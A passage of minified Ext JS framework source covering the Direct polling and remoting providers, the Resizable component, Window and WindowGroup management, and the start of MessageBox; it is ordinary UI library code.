PollingProvider, no url configured." } } }, disconnect:function () { if (this.pollTask) { Ext.TaskMgr.stop(this.pollTask); delete this.pollTask; this.fireEvent("disconnect", this) } }, onData:function (d, j, h) { if (j) { var c = this.getEvents(h); for (var b = 0, a = c.length; b < a; b++) { var g = c[b]; this.fireEvent("data", this, g) } } else { var g = new Ext.Direct.ExceptionEvent({data:g, code:Ext.Direct.exceptions.TRANSPORT, message:"Unable to connect to the server.", xhr:h}); this.fireEvent("data", this, g) } }}); Ext.Direct.PROVIDERS.polling = Ext.direct.PollingProvider; Ext.direct.RemotingProvider = Ext.extend(Ext.direct.JsonProvider, {enableBuffer:10, maxRetries:1, timeout:undefined, constructor:function (a) { Ext.direct.RemotingProvider.superclass.constructor.call(this, a); this.addEvents("beforecall", "call"); this.namespace = (Ext.isString(this.namespace)) ? Ext.ns(this.namespace) : this.namespace || window; this.transactions = {}; this.callBuffer = [] }, initAPI:function () { var h = this.actions; for (var j in h) { var d = this.namespace[j] || (this.namespace[j] = {}), e = h[j]; for (var g = 0, b = e.length; g < b; g++) { var a = e[g]; d[a.name] = this.createMethod(j, a) } } }, isConnected:function () { return !!this.connected }, connect:function () { if (this.url) { this.initAPI(); this.connected = true; this.fireEvent("connect", this) } else { if (!this.url) { throw"Error initializing RemotingProvider, no url configured." } } }, disconnect:function () { if (this.connected) { this.connected = false; this.fireEvent("disconnect", this) } }, onData:function (a, h, j) { if (h) { var k = this.getEvents(j); for (var b = 0, c = k.length; b < c; b++) { var d = k[b], l = this.getTransaction(d); this.fireEvent("data", this, d); if (l) { this.doCallback(l, d, true); Ext.Direct.removeTransaction(l) } } } else { var g = [].concat(a.ts); for (var b = 0, c = g.length; b < c; b++) { var l = this.getTransaction(g[b]); if (l && l.retryCount < this.maxRetries) { l.retry() } else { var d = new Ext.Direct.ExceptionEvent({data:d, transaction:l, code:Ext.Direct.exceptions.TRANSPORT, message:"Unable to connect to the server.", xhr:j}); this.fireEvent("data", this, d); if (l) { this.doCallback(l, d, false); Ext.Direct.removeTransaction(l) } } } } }, getCallData:function (a) { return{action:a.action, method:a.method, data:a.data, type:"rpc", tid:a.tid} }, doSend:function (d) { var g = {url:this.url, callback:this.onData, scope:this, ts:d, timeout:this.timeout}, b; if (Ext.isArray(d)) { b = []; for (var c = 0, a = d.length; c < a; c++) { b.push(this.getCallData(d[c])) } } else { b = this.getCallData(d) } if (this.enableUrlEncode) { var e = {}; e[Ext.isString(this.enableUrlEncode) ? this.enableUrlEncode : "data"] = Ext.encode(b); g.params = e } else { g.jsonData = b } Ext.Ajax.request(g) }, combineAndSend:function () { var a = this.callBuffer.length; if (a > 0) { this.doSend(a == 1 ? this.callBuffer[0] : this.callBuffer); this.callBuffer = [] } }, queueTransaction:function (a) { if (a.form) { this.processForm(a); return } this.callBuffer.push(a); if (this.enableBuffer) { if (!this.callTask) { this.callTask = new Ext.util.DelayedTask(this.combineAndSend, this) } this.callTask.delay(Ext.isNumber(this.enableBuffer) ? this.enableBuffer : 10) } else { this.combineAndSend() } }, doCall:function (i, a, b) { var h = null, e = b[a.len], g = b[a.len + 1]; if (a.len !== 0) { h = b.slice(0, a.len) } var d = new Ext.Direct.Transaction({provider:this, args:b, action:i, method:a.name, data:h, cb:g && Ext.isFunction(e) ? e.createDelegate(g) : e}); if (this.fireEvent("beforecall", this, d, a) !== false) { Ext.Direct.addTransaction(d); this.queueTransaction(d); this.fireEvent("call", this, d, a) } }, doForm:function (j, b, g, i, e) { var d = new Ext.Direct.Transaction({provider:this, action:j, method:b.name, args:[g, i, e], cb:e && Ext.isFunction(i) ? i.createDelegate(e) : i, isForm:true}); if (this.fireEvent("beforecall", this, d, b) !== false) { Ext.Direct.addTransaction(d); var a = String(g.getAttribute("enctype")).toLowerCase() == "multipart/form-data", h = {extTID:d.tid, extAction:j, extMethod:b.name, extType:"rpc", extUpload:String(a)}; Ext.apply(d, {form:Ext.getDom(g), isUpload:a, params:i && Ext.isObject(i.params) ? Ext.apply(h, i.params) : h}); this.fireEvent("call", this, d, b); this.processForm(d) } }, processForm:function (a) { Ext.Ajax.request({url:this.url, params:a.params, callback:this.onData, scope:this, form:a.form, isUpload:a.isUpload, ts:a}) }, createMethod:function (d, a) { var b; if (!a.formHandler) { b = function () { this.doCall(d, a, Array.prototype.slice.call(arguments, 0)) }.createDelegate(this) } else { b = function (e, g, c) { this.doForm(d, a, e, g, c) }.createDelegate(this) } b.directCfg = {action:d, method:a}; return b }, getTransaction:function (a) { return a && a.tid ? Ext.Direct.getTransaction(a.tid) : null }, doCallback:function (c, g) { var d = g.status ? "success" : "failure"; if (c && c.cb) { var b = c.cb, a = Ext.isDefined(g.result) ? g.result : g.data; if (Ext.isFunction(b)) { b(a, g) } else { Ext.callback(b[d], b.scope, [a, g]); Ext.callback(b.callback, b.scope, [a, g]) } } }}); Ext.Direct.PROVIDERS.remoting = Ext.direct.RemotingProvider; Ext.Resizable = Ext.extend(Ext.util.Observable, {constructor:function (d, e) { this.el = Ext.get(d); if (e && e.wrap) { e.resizeChild = this.el; this.el = this.el.wrap(typeof e.wrap == "object" ? e.wrap : {cls:"xresizable-wrap"}); this.el.id = this.el.dom.id = e.resizeChild.id + "-rzwrap"; this.el.setStyle("overflow", "hidden"); this.el.setPositioning(e.resizeChild.getPositioning()); e.resizeChild.clearPositioning(); if (!e.width || !e.height) { var g = e.resizeChild.getSize(); this.el.setSize(g.width, g.height) } if (e.pinned && !e.adjustments) { e.adjustments = "auto" } } this.proxy = this.el.createProxy({tag:"div", cls:"x-resizable-proxy", id:this.el.id + "-rzproxy"}, Ext.getBody()); this.proxy.unselectable(); this.proxy.enableDisplayMode("block"); Ext.apply(this, e); if (this.pinned) { this.disableTrackOver = true; this.el.addClass("x-resizable-pinned") } var k = this.el.getStyle("position"); if (k != "absolute" && k != "fixed") { this.el.setStyle("position", "relative") } if (!this.handles) { this.handles = "s,e,se"; if (this.multiDirectional) { this.handles += ",n,w" } } if (this.handles == "all") { this.handles = "n s e w ne nw se sw" } var o = this.handles.split(/\s*?[,;]\s*?| /); var c = Ext.Resizable.positions; for (var j = 0, l = o.length; j < l; j++) { if (o[j] && c[o[j]]) { var n = c[o[j]]; this[n] = new Ext.Resizable.Handle(this, n, this.disableTrackOver, this.transparent, this.handleCls) } } this.corner = this.southeast; if (this.handles.indexOf("n") != -1 || this.handles.indexOf("w") != -1) { this.updateBox = true } this.activeHandle = null; if (this.resizeChild) { if (typeof this.resizeChild == "boolean") { this.resizeChild = Ext.get(this.el.dom.firstChild, true) } else { this.resizeChild = Ext.get(this.resizeChild, true) } } if (this.adjustments == "auto") { var b = this.resizeChild; var m = this.west, h = this.east, a = this.north, o = this.south; if (b && (m || a)) { b.position("relative"); b.setLeft(m ? m.el.getWidth() : 0); b.setTop(a ? a.el.getHeight() : 0) } this.adjustments = [(h ? -h.el.getWidth() : 0) + (m ? -m.el.getWidth() : 0), (a ? -a.el.getHeight() : 0) + (o ? -o.el.getHeight() : 0) - 1] } if (this.draggable) { this.dd = this.dynamic ? this.el.initDD(null) : this.el.initDDProxy(null, {dragElId:this.proxy.id}); this.dd.setHandleElId(this.resizeChild ? this.resizeChild.id : this.el.id); if (this.constrainTo) { this.dd.constrainTo(this.constrainTo) } } this.addEvents("beforeresize", "resize"); if (this.width !== null && this.height !== null) { this.resizeTo(this.width, this.height) } else { this.updateChildSize() } if (Ext.isIE) { this.el.dom.style.zoom = 1 } Ext.Resizable.superclass.constructor.call(this) }, adjustments:[0, 0], animate:false, disableTrackOver:false, draggable:false, duration:0.35, dynamic:false, easing:"easeOutStrong", enabled:true, handles:false, multiDirectional:false, height:null, width:null, heightIncrement:0, widthIncrement:0, minHeight:5, minWidth:5, maxHeight:10000, maxWidth:10000, minX:0, minY:0, pinned:false, preserveRatio:false, resizeChild:false, transparent:false, resizeTo:function (b, a) { this.el.setSize(b, a); this.updateChildSize(); this.fireEvent("resize", this, b, a, null) }, startSizing:function (c, b) { this.fireEvent("beforeresize", this, c); if (this.enabled) { if (!this.overlay) { this.overlay = this.el.createProxy({tag:"div", cls:"x-resizable-overlay", html:" "}, Ext.getBody()); this.overlay.unselectable(); this.overlay.enableDisplayMode("block"); this.overlay.on({scope:this, mousemove:this.onMouseMove, mouseup:this.onMouseUp}) } this.overlay.setStyle("cursor", b.el.getStyle("cursor")); this.resizing = true; this.startBox = this.el.getBox(); this.startPoint = c.getXY(); this.offsets = [(this.startBox.x + this.startBox.width) - this.startPoint[0], (this.startBox.y + this.startBox.height) - this.startPoint[1]]; this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); this.overlay.show(); if (this.constrainTo) { var a = Ext.get(this.constrainTo); this.resizeRegion = a.getRegion().adjust(a.getFrameWidth("t"), a.getFrameWidth("l"), -a.getFrameWidth("b"), -a.getFrameWidth("r")) } this.proxy.setStyle("visibility", "hidden"); this.proxy.show(); this.proxy.setBox(this.startBox); if (!this.dynamic) { this.proxy.setStyle("visibility", "visible") } } }, onMouseDown:function (a, b) { if (this.enabled) { b.stopEvent(); this.activeHandle = a; this.startSizing(b, a) } }, onMouseUp:function (b) { this.activeHandle = null; var a = this.resizeElement(); this.resizing = false; this.handleOut(); this.overlay.hide(); this.proxy.hide(); this.fireEvent("resize", this, a.width, a.height, b) }, updateChildSize:function () { if (this.resizeChild) { var d = this.el; var e = this.resizeChild; var c = this.adjustments; if (d.dom.offsetWidth) { var a = d.getSize(true); e.setSize(a.width + c[0], a.height + c[1]) } if (Ext.isIE) { setTimeout(function () { if (d.dom.offsetWidth) { var g = d.getSize(true); e.setSize(g.width + c[0], g.height + c[1]) } }, 10) } } }, snap:function (c, e, b) { if (!e || !c) { return c } var d = c; var a = c % e; if (a > 0) { if (a > (e / 2)) { d = c + (e - a) } else { d = c - a } } return Math.max(b, d) }, resizeElement:function () { var a = this.proxy.getBox(); if (this.updateBox) { this.el.setBox(a, false, this.animate, this.duration, null, this.easing) } else { this.el.setSize(a.width, a.height, this.animate, this.duration, null, this.easing) } this.updateChildSize(); if (!this.dynamic) { this.proxy.hide() } if (this.draggable && this.constrainTo) { this.dd.resetConstraints(); this.dd.constrainTo(this.constrainTo) } return a }, constrain:function (b, c, a, d) { if (b - c < a) { c = b - a } else { if (b - c > d) { c = b - d } } return c }, onMouseMove:function (z) { if (this.enabled && this.activeHandle) { try { if (this.resizeRegion && !this.resizeRegion.contains(z.getPoint())) { return } var t = this.curSize || this.startBox, l = this.startBox.x, k = this.startBox.y, c = l, b = k, m = t.width, u = t.height, d = m, o = u, n = this.minWidth, A = this.minHeight, s = this.maxWidth, D = this.maxHeight, i = this.widthIncrement, a = this.heightIncrement, B = z.getXY(), r = -(this.startPoint[0] - Math.max(this.minX, B[0])), p = -(this.startPoint[1] - Math.max(this.minY, B[1])), j = this.activeHandle.position, E, g; switch (j) { case"east": m += r; m = Math.min(Math.max(n, m), s); break; case"south": u += p; u = Math.min(Math.max(A, u), D); break; case"southeast": m += r; u += p; m = Math.min(Math.max(n, m), s); u = Math.min(Math.max(A, u), D); break; case"north": p = this.constrain(u, p, A, D); k += p; u -= p; break; case"west": r = this.constrain(m, r, n, s); l += r; m -= r; break; case"northeast": m += r; m = Math.min(Math.max(n, m), s); p = this.constrain(u, p, A, D); k += p; u -= p; break; case"northwest": r = this.constrain(m, r, n, s); p = this.constrain(u, p, A, D); k += p; u -= p; l += r; m -= r; break; case"southwest": r = this.constrain(m, r, n, s); u += p; u = Math.min(Math.max(A, u), D); l += r; m -= r; break } var q = this.snap(m, i, n); var C = this.snap(u, a, A); if (q != m || C != u) { switch (j) { case"northeast": k -= C - u; break; case"north": k -= C - u; break; case"southwest": l -= q - m; break; case"west": l -= q - m; break; case"northwest": l -= q - m; k -= C - u; break } m = q; u = C } if (this.preserveRatio) { switch (j) { case"southeast": case"east": u = o * (m / d); u = Math.min(Math.max(A, u), D); m = d * (u / o); break; case"south": m = d * (u / o); m = Math.min(Math.max(n, m), s); u = o * (m / d); break; case"northeast": m = d * (u / o); m = Math.min(Math.max(n, m), s); u = o * (m / d); break; case"north": E = m; m = d * (u / o); m = Math.min(Math.max(n, m), s); u = o * (m / d); l += (E - m) / 2; break; case"southwest": u = o * (m / d); u = Math.min(Math.max(A, u), D); E = m; m = d * (u / o); l += E - m; break; case"west": g = u; u = o * (m / d); u = Math.min(Math.max(A, u), D); k += (g - u) / 2; E = m; m = d * (u / o); l += E - m; break; case"northwest": E = m; g = u; u = o * (m / d); u = Math.min(Math.max(A, u), D); m = d * (u / o); k += g - u; l += E - m; break } } this.proxy.setBounds(l, k, m, u); if (this.dynamic) { this.resizeElement() } } catch (v) { } } }, handleOver:function () { if (this.enabled) { this.el.addClass("x-resizable-over") } }, handleOut:function () { if (!this.resizing) { this.el.removeClass("x-resizable-over") } }, getEl:function () { return this.el }, getResizeChild:function () { return this.resizeChild }, destroy:function (b) { Ext.destroy(this.dd, this.overlay, this.proxy); this.overlay = null; this.proxy = null; var c = Ext.Resizable.positions; for (var a in c) { if (typeof c[a] != "function" && this[c[a]]) { this[c[a]].destroy() } } if (b) { this.el.update(""); Ext.destroy(this.el); this.el = null } this.purgeListeners() }, syncHandleHeight:function () { var a = this.el.getHeight(true); if (this.west) { this.west.el.setHeight(a) } if (this.east) { this.east.el.setHeight(a) } }}); Ext.Resizable.positions = {n:"north", s:"south", e:"east", w:"west", se:"southeast", sw:"southwest", nw:"northwest", ne:"northeast"}; Ext.Resizable.Handle = Ext.extend(Object, {constructor:function (d, g, c, e, a) { if (!this.tpl) { var b = Ext.DomHelper.createTemplate({tag:"div", cls:"x-resizable-handle x-resizable-handle-{0}"}); b.compile(); Ext.Resizable.Handle.prototype.tpl = b } this.position = g; this.rz = d; this.el = this.tpl.append(d.el.dom, [this.position], true); this.el.unselectable(); if (e) { this.el.setOpacity(0) } if (!Ext.isEmpty(a)) { this.el.addClass(a) } this.el.on("mousedown", this.onMouseDown, this); if (!c) { this.el.on({scope:this, mouseover:this.onMouseOver, mouseout:this.onMouseOut}) } }, afterResize:function (a) { }, onMouseDown:function (a) { this.rz.onMouseDown(this, a) }, onMouseOver:function (a) { this.rz.handleOver(this, a) }, onMouseOut:function (a) { this.rz.handleOut(this, a) }, destroy:function () { Ext.destroy(this.el); this.el = null }}); Ext.Window = Ext.extend(Ext.Panel, {baseCls:"x-window", resizable:true, draggable:true, closable:true, closeAction:"close", constrain:false, constrainHeader:false, plain:false, minimizable:false, maximizable:false, minHeight:100, minWidth:200, expandOnShow:true, showAnimDuration:0.25, hideAnimDuration:0.25, collapsible:false, initHidden:undefined, hidden:true, elements:"header,body", frame:true, floating:true, initComponent:function () { this.initTools(); Ext.Window.superclass.initComponent.call(this); this.addEvents("resize", "maximize", "minimize", "restore"); if (Ext.isDefined(this.initHidden)) { this.hidden = this.initHidden } if (this.hidden === false) { this.hidden = true; this.show() } }, getState:function () { return Ext.apply(Ext.Window.superclass.getState.call(this) || {}, this.getBox(true)) }, onRender:function (b, a) { Ext.Window.superclass.onRender.call(this, b, a); if (this.plain) { this.el.addClass("x-window-plain") } this.focusEl = this.el.createChild({tag:"a", href:"#", cls:"x-dlg-focus", tabIndex:"-1", html:" "}); this.focusEl.swallowEvent("click", true); this.proxy = this.el.createProxy("x-window-proxy"); this.proxy.enableDisplayMode("block"); if (this.modal) { this.mask = this.container.createChild({cls:"ext-el-mask"}, this.el.dom); this.mask.enableDisplayMode("block"); this.mask.hide(); this.mon(this.mask, "click", this.focus, this) } if (this.maximizable) { this.mon(this.header, "dblclick", this.toggleMaximize, this) } }, initEvents:function () { Ext.Window.superclass.initEvents.call(this); if (this.animateTarget) { this.setAnimateTarget(this.animateTarget) } if (this.resizable) { this.resizer = new Ext.Resizable(this.el, {minWidth:this.minWidth, minHeight:this.minHeight, handles:this.resizeHandles || "all", pinned:true, resizeElement:this.resizerAction, handleCls:"x-window-handle"}); this.resizer.window = this; this.mon(this.resizer, "beforeresize", this.beforeResize, this) } if (this.draggable) { this.header.addClass("x-window-draggable") } this.mon(this.el, "mousedown", this.toFront, this); this.manager = this.manager || Ext.WindowMgr; this.manager.register(this); if (this.maximized) { this.maximized = false; this.maximize() } if (this.closable) { var a = this.getKeyMap(); a.on(27, this.onEsc, this); a.disable() } }, initDraggable:function () { this.dd = new Ext.Window.DD(this) }, onEsc:function (a, b) { if (this.activeGhost) { this.unghost() } b.stopEvent(); this[this.closeAction]() }, beforeDestroy:function () { if (this.rendered) { this.hide(); this.clearAnchor(); Ext.destroy(this.focusEl, this.resizer, this.dd, this.proxy, this.mask) } Ext.Window.superclass.beforeDestroy.call(this) }, onDestroy:function () { if (this.manager) { this.manager.unregister(this) } Ext.Window.superclass.onDestroy.call(this) }, initTools:function () { if (this.minimizable) { this.addTool({id:"minimize", handler:this.minimize.createDelegate(this, [])}) } if (this.maximizable) { this.addTool({id:"maximize", handler:this.maximize.createDelegate(this, [])}); this.addTool({id:"restore", handler:this.restore.createDelegate(this, []), hidden:true}) } if (this.closable) { this.addTool({id:"close", handler:this[this.closeAction].createDelegate(this, [])}) } }, resizerAction:function () { var a = this.proxy.getBox(); this.proxy.hide(); this.window.handleResize(a); return a }, beforeResize:function () { this.resizer.minHeight = Math.max(this.minHeight, this.getFrameHeight() + 40); this.resizer.minWidth = Math.max(this.minWidth, this.getFrameWidth() + 40); this.resizeBox = this.el.getBox() }, updateHandles:function () { if (Ext.isIE && this.resizer) { this.resizer.syncHandleHeight(); this.el.repaint() } }, handleResize:function (b) { var a = this.resizeBox; if (a.x != b.x || a.y != b.y) { this.updateBox(b) } else { this.setSize(b); if (Ext.isIE6 && Ext.isStrict) { this.doLayout() } } this.focus(); this.updateHandles(); this.saveState() }, focus:function () { var e = this.focusEl, a = this.defaultButton, c = typeof a, d, b; if (Ext.isDefined(a)) { if (Ext.isNumber(a) && this.fbar) { e = this.fbar.items.get(a) } else { if (Ext.isString(a)) { e = Ext.getCmp(a) } else { e = a } } d = e.getEl(); b = Ext.getDom(this.container); if (d && b) { if (b != document.body && !Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))) { return } } } e = e || this.focusEl; e.focus.defer(10, e) }, setAnimateTarget:function (a) { a = Ext.get(a); this.animateTarget = a }, beforeShow:function () { delete this.el.lastXY; delete this.el.lastLT; if (this.x === undefined || this.y === undefined) { var a = this.el.getAlignToXY(this.container, "c-c"); var b = this.el.translatePoints(a[0], a[1]); this.x = this.x === undefined ? b.left : this.x; this.y = this.y === undefined ? b.top : this.y } this.el.setLeftTop(this.x, this.y); if (this.expandOnShow) { this.expand(false) } if (this.modal) { Ext.getBody().addClass("x-body-masked"); this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); this.mask.show() } }, show:function (c, a, b) { if (!this.rendered) { this.render(Ext.getBody()) } if (this.hidden === false) { this.toFront(); return this } if (this.fireEvent("beforeshow", this) === false) { return this } if (a) { this.on("show", a, b, {single:true}) } this.hidden = false; if (Ext.isDefined(c)) { this.setAnimateTarget(c) } this.beforeShow(); if (this.animateTarget) { this.animShow() } else { this.afterShow() } return this }, afterShow:function (b) { if (this.isDestroyed) { return false } this.proxy.hide(); this.el.setStyle("display", "block"); this.el.show(); if (this.maximized) { this.fitContainer() } if (Ext.isMac && Ext.isGecko2) { this.cascade(this.setAutoScroll) } if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) { Ext.EventManager.onWindowResize(this.onWindowResize, this) } this.doConstrain(); this.doLayout(); if (this.keyMap) { this.keyMap.enable() } this.toFront(); this.updateHandles(); if (b && (Ext.isIE || Ext.isWebKit)) { var a = this.getSize(); this.onResize(a.width, a.height) } this.onShow(); this.fireEvent("show", this) }, animShow:function () { this.proxy.show(); this.proxy.setBox(this.animateTarget.getBox()); this.proxy.setOpacity(0); var a = this.getBox(); this.el.setStyle("display", "none"); this.proxy.shift(Ext.apply(a, {callback:this.afterShow.createDelegate(this, [true], false), scope:this, easing:"easeNone", duration:this.showAnimDuration, opacity:0.5})) }, hide:function (c, a, b) { if (this.hidden || this.fireEvent("beforehide", this) === false) { return this } if (a) { this.on("hide", a, b, {single:true}) } this.hidden = true; if (c !== undefined) { this.setAnimateTarget(c) } if (this.modal) { this.mask.hide(); Ext.getBody().removeClass("x-body-masked") } if (this.animateTarget) { this.animHide() } else { this.el.hide(); this.afterHide() } return this }, afterHide:function () { this.proxy.hide(); if (this.monitorResize || this.modal || this.constrain || this.constrainHeader) { Ext.EventManager.removeResizeListener(this.onWindowResize, this) } if (this.keyMap) { this.keyMap.disable() } this.onHide(); this.fireEvent("hide", this) }, animHide:function () { this.proxy.setOpacity(0.5); this.proxy.show(); var a = this.getBox(false); this.proxy.setBox(a); this.el.hide(); this.proxy.shift(Ext.apply(this.animateTarget.getBox(), {callback:this.afterHide, scope:this, duration:this.hideAnimDuration, easing:"easeNone", opacity:0})) }, onShow:Ext.emptyFn, onHide:Ext.emptyFn, onWindowResize:function () { if (this.maximized) { this.fitContainer() } if (this.modal) { this.mask.setSize("100%", "100%"); var a = this.mask.dom.offsetHeight; this.mask.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)) } this.doConstrain() }, doConstrain:function () { if (this.constrain || this.constrainHeader) { var b; if (this.constrain) { b = {right:this.el.shadowOffset, left:this.el.shadowOffset, bottom:this.el.shadowOffset} } else { var a = this.getSize(); b = {right:-(a.width - 100), bottom:-(a.height - 25 + this.el.getConstrainOffset())} } var c = this.el.getConstrainToXY(this.container, true, b); if (c) { this.setPosition(c[0], c[1]) } } }, ghost:function (a) { var c = this.createGhost(a); var b = this.getBox(true); c.setLeftTop(b.x, b.y); c.setWidth(b.width); this.el.hide(); this.activeGhost = c; return c }, unghost:function (b, a) { if (!this.activeGhost) { return } if (b !== false) { this.el.show(); this.focus.defer(10, this); if (Ext.isMac && Ext.isGecko2) { this.cascade(this.setAutoScroll) } } if (a !== false) { this.setPosition(this.activeGhost.getLeft(true), this.activeGhost.getTop(true)) } this.activeGhost.hide(); this.activeGhost.remove(); delete this.activeGhost }, minimize:function () { this.fireEvent("minimize", this); return this }, close:function () { if (this.fireEvent("beforeclose", this) !== false) { if (this.hidden) { this.doClose() } else { this.hide(null, this.doClose, this) } } }, doClose:function () { this.fireEvent("close", this); this.destroy() }, maximize:function () { if (!this.maximized) { this.expand(false); this.restoreSize = this.getSize(); this.restorePos = this.getPosition(true); if (this.maximizable) { this.tools.maximize.hide(); this.tools.restore.show() } this.maximized = true; this.el.disableShadow(); if (this.dd) { this.dd.lock() } if (this.collapsible) { this.tools.toggle.hide() } this.el.addClass("x-window-maximized"); this.container.addClass("x-window-maximized-ct"); this.setPosition(0, 0); this.fitContainer(); this.fireEvent("maximize", this) } return this }, restore:function () { if (this.maximized) { var a = this.tools; this.el.removeClass("x-window-maximized"); if (a.restore) { a.restore.hide() } if (a.maximize) { a.maximize.show() } this.setPosition(this.restorePos[0], this.restorePos[1]); this.setSize(this.restoreSize.width, this.restoreSize.height); delete this.restorePos; delete this.restoreSize; this.maximized = false; this.el.enableShadow(true); if (this.dd) { this.dd.unlock() } if (this.collapsible && a.toggle) { a.toggle.show() } this.container.removeClass("x-window-maximized-ct"); this.doConstrain(); this.fireEvent("restore", this) } return this }, toggleMaximize:function () { return this[this.maximized ? "restore" : "maximize"]() }, fitContainer:function () { var a = this.container.getViewSize(false); this.setSize(a.width, a.height) }, setZIndex:function (a) { if (this.modal) { this.mask.setStyle("z-index", a) } this.el.setZIndex(++a); a += 5; if (this.resizer) { this.resizer.proxy.setStyle("z-index", ++a) } this.lastZIndex = a }, alignTo:function (b, a, c) { var d = this.el.getAlignToXY(b, a, c); this.setPagePosition(d[0], d[1]); return this }, anchorTo:function (c, e, d, b) { this.clearAnchor(); this.anchorTarget = {el:c, alignment:e, offsets:d}; Ext.EventManager.onWindowResize(this.doAnchor, this); var a = typeof b; if (a != "undefined") { Ext.EventManager.on(window, "scroll", this.doAnchor, this, {buffer:a == "number" ? b : 50}) } return this.doAnchor() }, doAnchor:function () { var a = this.anchorTarget; this.alignTo(a.el, a.alignment, a.offsets); return this }, clearAnchor:function () { if (this.anchorTarget) { Ext.EventManager.removeResizeListener(this.doAnchor, this); Ext.EventManager.un(window, "scroll", this.doAnchor, this); delete this.anchorTarget } return this }, toFront:function (a) { if (this.manager.bringToFront(this)) { if (!a || !a.getTarget().focus) { this.focus() } } return this }, setActive:function (a) { if (a) { if (!this.maximized) { this.el.enableShadow(true) } this.fireEvent("activate", this) } else { this.el.disableShadow(); this.fireEvent("deactivate", this) } }, toBack:function () { this.manager.sendToBack(this); return this }, center:function () { var a = this.el.getAlignToXY(this.container, "c-c"); this.setPagePosition(a[0], a[1]); return this }}); Ext.reg("window", Ext.Window); Ext.Window.DD = Ext.extend(Ext.dd.DD, {constructor:function (a) { this.win = a; Ext.Window.DD.superclass.constructor.call(this, a.el.id, "WindowDD-" + a.id); this.setHandleElId(a.header.id); this.scroll = false }, moveOnly:true, headerOffsets:[100, 25], startDrag:function () { var a = this.win; this.proxy = a.ghost(a.initialConfig.cls); if (a.constrain !== false) { var c = a.el.shadowOffset; this.constrainTo(a.container, {right:c, left:c, bottom:c}) } else { if (a.constrainHeader !== false) { var b = this.proxy.getSize(); this.constrainTo(a.container, {right:-(b.width - this.headerOffsets[0]), bottom:-(b.height - this.headerOffsets[1])}) } } }, b4Drag:Ext.emptyFn, onDrag:function (a) { this.alignElWithMouse(this.proxy, a.getPageX(), a.getPageY()) }, endDrag:function (a) { this.win.unghost(); this.win.saveState() }}); Ext.WindowGroup = function () { var g = {}; var d = []; var e = null; var c = function (j, i) { return(!j._lastAccess || j._lastAccess < i._lastAccess) ? -1 : 1 }; var h = function () { var l = d, j = l.length; if (j > 0) { l.sort(c); var k = l[0].manager.zseed; for (var m = 0; m < j; m++) { var n = l[m]; if (n && !n.hidden) { n.setZIndex(k + (m * 10)) } } } a() }; var b = function (i) { if (i != e) { if (e) { e.setActive(false) } e = i; if (i) { i.setActive(true) } } }; var a = function () { for (var j = d.length - 1; j >= 0; --j) { if (!d[j].hidden) { b(d[j]); return } } b(null) }; return{zseed:9000, register:function (i) { if (i.manager) { i.manager.unregister(i) } i.manager = this; g[i.id] = i; d.push(i); i.on("hide", a) }, unregister:function (i) { delete i.manager; delete g[i.id]; i.un("hide", a); d.remove(i) }, get:function (i) { return typeof i == "object" ? i : g[i] }, bringToFront:function (i) { i = this.get(i); if (i != e) { i._lastAccess = new Date().getTime(); h(); return true } return false }, sendToBack:function (i) { i = this.get(i); i._lastAccess = -(new Date().getTime()); h(); return i }, hideAll:function () { for (var i in g) { if (g[i] && typeof g[i] != "function" && g[i].isVisible()) { g[i].hide() } } }, getActive:function () { return e }, getBy:function (l, k) { var m = []; for (var j = d.length - 1; j >= 0; --j) { var n = d[j]; if (l.call(k || n, n) !== false) { m.push(n) } } return m }, each:function (j, i) { for (var k in g) { if (g[k] && typeof g[k] != "function") { if (j.call(i || g[k], g[k]) === false) { return } } } }} }; Ext.WindowMgr = new Ext.WindowGroup(); Ext.MessageBox = function () { var u, b, q, t, h, l, s, a, n, p, j, g, r, v, o, i = "", d = "", m = ["ok", "yes", "no", "cancel"]; var c = function (x) { r[x].blur(); if (u.isVisible()) { u.hide(); w(); Ext.callback(b.fn, b.scope || window, [x, v.dom.value, b], 1) } }; var w = function () { if (b && b.cls) { u.el.removeClass(b.cls) } n.reset() }; var e = function (z, x, y) { if (b && b.closable !== false) { u.hide(); w() } if (y) { y.stopEvent() } }; var k = function (x) { var z = 0, y; if (!x) { Ext.each(m, function (A) { r[A].hide() }); return z } u.footer.dom.style.display = ""; Ext.iterate(r, function (A, B) { y = x[A]; if (y) { B.show(); B.setText(Ext.isString(y) ? y : Ext.MessageBox.buttonText[A]); z += B.getEl().getWidth() + 15 } else { B.hide() } }); return z }; return{getDialog:function (x) { if (!u) { var z = []; r = {}; Ext.each(m, function (A) { z.push(r[A] = new Ext.Button({text:this.buttonText[A], handler:c.createCallback(A), hideMode:"offsets"})) }, this); u = new Ext.Window({autoCreate:true, title:x, resizable:false, constrain:true, constrainHeader:true, minimizable:false, maximizable:false, stateful:false, modal:true, shim:true, buttonAlign:"center", width:400, height:100, minHeight:80, plain:true, footer:true, closable:true, close:function () { if (b && b.buttons && b.buttons.no && !b.buttons.cancel) { c("no") } else { c("cancel") } }, fbar:new Ext.Toolbar({items:z, enableOverflow:false})}); u.render(document.body); u.getEl().addClass("x-window-dlg"); q = u.mask; h = u.body.createChild({html:'

    '}); j = Ext.get(h.dom.firstChild); var y = h.dom.childNodes[1]; l = Ext.get(y.firstChild); s = Ext.get(y.childNodes[2].firstChild); s.enableDisplayMode(); s.addKeyListener([10, 13], function () { if (u.isVisible() && b && b.buttons) { if (b.buttons.ok) { c("ok") } else { if (b.buttons.yes) { c("yes") } } } }); a = Ext.get(y.childNodes[2].childNodes[1]); a.enableDisplayMode(); n = new Ext.ProgressBar({renderTo:h}); h.createChild({cls:"x-clear"}) } return u }, updateText:function (A) { if (!u.isVisible() && !b.width) { u.setSize(this.maxWidth, 100) } l.update(A ? A + " " : " "); var y = d != "" ? (j.getWidth() + j.getMargins("lr")) : 0, C = l.getWidth() + l.getMargins("lr"), z = u.getFrameWidth("lr"), B = u.body.getFrameWidth("lr"), x; x = Math.max(Math.min(b.width || y + C + z + B, b.maxWidth || this.maxWidth), Math.max(b.minWidth || this.minWidth, o || 0)); if (b.prompt === true) { v.setWidth(x - y - z - B) } if (b.progress === true || b.wait === true) { n.setSize(x - y - z - B) } if (Ext.isIE && x == o) { x += 4 } l.update(A || " "); u.setSize(x, "auto").center(); return this }, updateProgress:function (y, x, z) { n.updateProgress(y, x); if (z) { 